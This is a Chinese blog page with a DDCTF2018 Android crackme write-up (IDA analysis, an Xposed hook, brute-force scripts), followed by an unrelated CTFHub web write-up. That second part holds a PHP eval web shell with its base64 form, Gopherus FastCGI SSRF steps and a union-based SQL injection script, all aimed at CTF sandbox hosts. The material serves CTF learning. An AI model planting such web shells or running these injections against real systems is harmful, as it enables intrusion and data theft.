DDCTF2018安卓部分WriteUp

本文分享了破解三个安卓挑战题的心得,包括分析程序逻辑、利用IDA解析so文件及采用爆破方法解决问题的过程。

0x0 前言

  感觉自己还是太菜了,还静不下心去学习,可能这就是自己这么菜的原因吧。七天的时间零零散散的做了三个安卓题,简单写一下思路。题目及部分解题脚本https://pan.baidu.com/s/1MpnW_st_VnRRUJx6rHqZOA

0x1 RSA

  刚看到题目还以为程序实现了RSA加密,因此找RSA加密算法找了好久。后来才发现程序经过运算生成一个大数,然后对输入进行取模,如果能整除则正确。

  本题目的JAVA代码比较简单,将输入的字符串传入jni层的stringFromJNI函数,如果stringFromJNI函数的返回值为true则显示Correct.


  将so文件拖入IDA,发现主要处理逻辑为__aeabi_wind_cpp_prj(int a1)函数,因此我们将研究重点放到__aeabi_wind_cpp_prj函数中。

  该函数首先判断输入长度是否为31位,然后将输入的每一位与key的每一位进行异或处理。


  这一块主要是判断输入异或后的结果前十位与十一到二十位、二十一到三十位、三十一位是否相等,所以输入的字符只看前十位即可,后面的与前面的相等。下面又将前十位与后面分隔开,将前十位转成long long 型。

  程序下面做了一系列的运算,最后得到一个大数5889412424631952987

  然后将大数和上面被转成long long的输入做取模运算,判断模是否为0,既5889412424631952987%s==0?这地方有点问题的是ida看到的ulddivmod函数里面的逻辑是返回a1/a2的结果。

  因此我们只需将5889412424631952987做大数分解,求他的两个因子,然后做异或即可。我的脚本写的比较乱,是去爆破输入,只可做参考。

0x2 Hello Baby Dex

 

  程序关于flag的逻辑是相当简单了...可能这就是叫baby dex的原因吧..只是对输入与程序的拼接的字符串做了个equals比较

 

  不过app做了签名的校验与debug的检测,所以如果我们动态调试的话可能会有些麻烦。但是仔细看一下前面flag比较的代码,我们可以发现equals函数是我们的输入调用的,把程序计算好的flag作为参数做对比,所以我们可以使用xposed去hook一下equals函数获取参数来获取flag。

public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) throws Throwable {
        if (!loadPackageParam.packageName.equals("cn.chaitin.geektan.crackme")){
            return;
        }
        XposedHelpers.findAndHookMethod("java.lang.String", loadPackageParam.classLoader, "equals", Object.class, new XC_MethodHook() {
            @Override
            protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
                if(param.args[0].toString().contains("DDCTF")){
                    XposedBridge.log("before"+param.args[0]);
                }

            }

            @Override
            protected void afterHookedMethod(MethodHookParam param) throws Throwable {

            }
        });
    }
  0x3 Diffie-Hellman

    这个题感觉是在第一题上面改的,java层没有变化,改动了一些jni中的代码,如果看懂了第一题第三题也就没什么问题了。

  大致流程是将你的输入作为2的幂数,与v10进行取模,将得到的模与mod_residual进行比较 既(2^input%v10)==mod_residual ?

  因为我对于密码学没有过深入的了解,所以只能采用了爆破的方法,希望有好办法的大佬能给予指导~

mod_res=0x2BF5B02AC9500
mod=0x1E75BF5AB47900
for i in range(150000,550000):
    if (2**i) %mod==mod_res:
        print(i)
        break
print("stop..")

以下是部分 CTFHub web 基础教程的 writeup: - **信息泄漏**: ```bash # 安装 dirsearch 包 sudo apt-get install dirsearch # 目录扫描,-u 用于指定要扫描的 URL sudo dirsearch -u "http://challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/" # 进入相关目录 ls cd site ls cd challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/ ls # 扫描程序获取当前 Git 仓库的提交历史信息 git log # 在 Git 中配置一个名为 safe.directory 的全局设置,指定安全目录 git config --global --add safe.directory /home/kali/Desktop/GitHack/site/challenge-74ace4f302db1181.sandbox.ctfhub.com:10800 ls git log ``` - **SSRF 通关攻略之 FastCGI 协议**: ```bash # 在 kali 里下载 gopherus 工具并解压 git clone https://github.com/tarunkant/Gopherus.git # 在文件里打开终端,执行命令 python2 gopherus.py --exploit fastcgi ``` 判断文件是否存在,通过访问不同文件观察返回信息: ```bash # 尝试访问首页文件 访问首页文件 index.php # 访问不存在的文件 输入 wjf.php 显示 404,说明 index.php 存在 ``` 注入木马及编码操作: ```bash # 一句话木马 <?php @eval($_POST['cmd']);?> # base64 编码 PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= # 解码并保存为 shell.php echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php ``` 连接木马: ```bash # 打开蚁剑,右键添加数据,添加木马文件 http://challenge-641b288f17028a60.sandbox.ctfhub.com:10800/wjf123.php ``` - **SQL 注入**: ```python import requests def mySQL(payload): url = 'http://challenge-196392c6b0acebd8.sandbox.ctfhub.com:10800/' header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36", "Cookie": "id=-1 " + payload + "; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F", } r = requests.get(url, headers=header) return r.text print(mySQL("union select 1,group_concat(schema_name)from information_schema.schemata")) print(mySQL("union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'")) print(mySQL("union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='srdnlrlphq'")) print(mySQL("union select 1,group_concat(icehhmfjxt) from sqli.srdnlrlphq")) ``` - **XSS**:分析完后利用前面的 XSS 网站生成 XSS 攻击代码。注册完进入页面,点击“我的项目”后面的“创建”,选择默认配置,拉到最下面点击“下一步”,将生成的代码拼接到原题目网址后面的 `?name=` 后面,再输入到第二个框内,点击“send”。成功后回到 XSS 网站点击项目内容查看记录[^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值